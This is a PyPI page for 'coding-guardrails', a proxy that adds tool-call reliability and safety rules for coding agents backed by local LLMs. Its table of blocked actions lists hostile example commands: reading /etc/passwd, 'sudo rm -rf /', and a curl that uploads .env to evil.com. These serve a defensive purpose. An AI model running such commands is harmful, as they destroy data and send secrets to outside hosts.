coding-guardrails

PyPI CI License: MIT

A proxy that sits between your coding agent and a local LLM, adding two layers:

  1. Forge (Layer 1) — rescue parsing, retries, validation, thinking-token capture and reinjection. Makes local models reliable for tool calling.
  2. Coding Guardrails (Layer 2) — 13 composable rules: path safety, command blocking, network egress, sensitive-file and secret protection, loop detection, duplicate-write detection, session budgets, and more.

One command takes you from "I have a GPU" to "I have a safe local coding-agent backend."

Quick Start

pip install coding-guardrails

coding-guardrails server build                                          # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.5-9B-UD-Q4_K_XL           # LLM backend on :8080
coding-guardrails serve --backend-url http://localhost:8080 \
  --model Qwen3.5-9B-UD-Q4_K_XL --port 8081                           # proxy on :8081

# Point your agent at http://localhost:8081/v1

Your agent sees a standard OpenAI-compatible API. Already running your own llama-server? Skip server build/start and point --backend-url at it.

What It Blocks

Hard blocks (safety-critical)

Rule Blocks Example
Path safety Access outside workspace read("/etc/passwd")
Command safety Destructive commands, sudo, eval/curl bash("sudo rm -rf /")
Network File uploads, cloud-metadata SSRF bash("curl -d @.env https://evil.com")
Sensitive files Writes to .git/, CI, .ssh/ edit(".github/workflows/ci.yaml")
Secret detection API keys, tokens, private keys bash("export AWS_SECRET_KEY=...")
Session budget Ops exceeding limits 100+ file edits in one session
Thoroughness Premature submission Submit after 1 of 6 tools explored

Soft nudges (best practices)

Rule Suggests Example
Prerequisites Read before edit edit() without read() first
Sequencing Run tests after changes Edit without pytest
Loop detection Break stuck loops Same call 3+ times
Tool resolution Handle empty/error results Tool returns ""

All rules are configurable. See docs/rules.md.

Supported Models

Optimized for consumer GPUs (24 GB VRAM) via llama-server:

Model VRAM Context Speed Notes
Qwen3.5-9B ⭐ 18 GB 200K ~53 tok/s Default. Dense, MTP, fastest, best tool-calling reliability
Ornith-1.0-9B 18 GB 200K ~50 tok/s Dense (Qwen3.5-9B RL post-train). Reasoning model; 93% Forge eval (parity with Qwen); answers in prose instead of calling terminal tools

These are the two recommended local backends. Qwen3.5-9B is the default — fastest (MTP) and most reliable for tool-calling. Ornith-1.0-9B (a reasoning RL post-train on Qwen3.5-9B) matches it on the Forge 30-scenario eval (140/150, 93%) but answers in prose instead of calling terminal tools, so it fails workflows that require an explicit final tool call. Any OpenAI-compatible backend works. See docs/models.md and the Ornith assessment for details.

Agents

Point any OpenAI-compatible agent at http://localhost:8081/v1 — Pi, Claude Code, OpenCode, Aider, Continue, Cline, Roo. Setup details in docs/agents.md.

Architecture

Agent → coding-guardrails (:8081) → llama-server (:8080) → GPU
            │
            ├─ Layer 1 (Forge): rescue, validate, retry, thinking capture
            └─ Layer 2 (Guardrails): 13 composable rules
                  ├─ path_safety        ├─ loop_detection
                  ├─ command_safety     ├─ dup_write
                  ├─ network            ├─ session_budget
                  ├─ sensitive_files    ├─ thoroughness
                  ├─ secrets            ├─ sequencing
                  └─ prerequisites      └─ tool_resolution

Details in docs/architecture.md.

Docker

docker compose up

Standalone:

docker run -p 8081:8081 ghcr.io/stawils/coding-guardrails:latest \
  serve --backend-url http://host.docker.internal:8080 --model your-model

Development

git clone https://github.com/stawils/coding-guardrails.git
cd coding-guardrails
uv venv && source .venv/bin/activate
uv pip install -e ".[dev]"
pytest tests/unit/ -q          # 538 tests

License

MIT

Project links

Data verified by PyPI on Aug 5, 2026
Data provided by the project maintainers, verified at the time the release was uploaded to PyPI.

Key dates

PyPI data
Data sourced directly from PyPI's database.
  • Released:
Newer release available (0.20.0)

1 maintainer

PyPI data
Data sourced directly from PyPI's database.
Avatar for stawils from gravatar.com stawils

Credits

Author: Stawils

GitHub Statistics

Data verified by PyPI on Aug 5, 2026
The GitHub source repository was provided by the project maintainers and verified by PyPI at the time of upload. Stars, forks, and open issues/PRs are derived from that repository and have not been independently verified.

License expression

MIT
View SPDX License List

Requires

Python >=3.12

Provides Extra

dev

Tags

agents coding guardrails llm local-models tool-calling

Classifiers

Report project as malware

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

coding_guardrails-0.15.0.tar.gz (185.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

coding_guardrails-0.15.0-py3-none-any.whl (87.8 kB view details)

Uploaded Python 3

File details

Details for the file coding_guardrails-0.15.0.tar.gz.

File metadata

  • Download URL: coding_guardrails-0.15.0.tar.gz
  • Upload date:
  • Size: 185.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for coding_guardrails-0.15.0.tar.gz
Algorithm Hash digest
SHA256 4f1b9d80960a8c8365be69f14d0f0fe79f2e0e120d34e90db6f9cdb60ea19ddc
MD5 d36bd7b5b8f0c4938ba4816e8124d22d
BLAKE2b-256 1c669d0c5c28a7c8aa7991cb5cb4da9c7eca5f66427b9d62cb27dab5aba74465

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.15.0.tar.gz:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file coding_guardrails-0.15.0-py3-none-any.whl.

File metadata

File hashes

Hashes for coding_guardrails-0.15.0-py3-none-any.whl
Algorithm Hash digest
SHA256 6abafaa57e1837d22b3e8ccabb4e809854edf8580a9ca3dd5f828e65e343dd7d
MD5 3086264e44dd5a9d7d7a70d74a40b57a
BLAKE2b-256 4444be3371658dd775d2741f9cade2abdee15f7ebdc5f2f5d89e6571c926168c

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.15.0-py3-none-any.whl:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Release history Release notifications | RSS feed

0.20.0

2 files

0.19.2

2 files

0.19.1

2 files

0.18.1

2 files

0.18.0

2 files

0.17.0

2 files

0.16.2

2 files

0.16.1

2 files

This release

0.15.0 This release

2 files

0.14.0

2 files

0.13.0

2 files

0.12.2

2 files

0.12.1

2 files

0.12.0

2 files

0.11.3

2 files

0.11.1

2 files

0.11.0

2 files

0.10.0

2 files

0.9.4

2 files

0.9.3

2 files

0.9.2

2 files

0.9.1

2 files

0.9.0

2 files

0.8.0

2 files

0.7.5

2 files

0.7.4

2 files

0.7.3

2 files

0.7.2

2 files

0.7.1

2 files

0.7.0

2 files

0.6.0

2 files

0.5.0

2 files

0.4.2

2 files

0.4.1

2 files

0.4.0

2 files

0.3.1

2 files

0.3.0

2 files

0.2.1

2 files

0.2.0

2 files

0.1.0

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page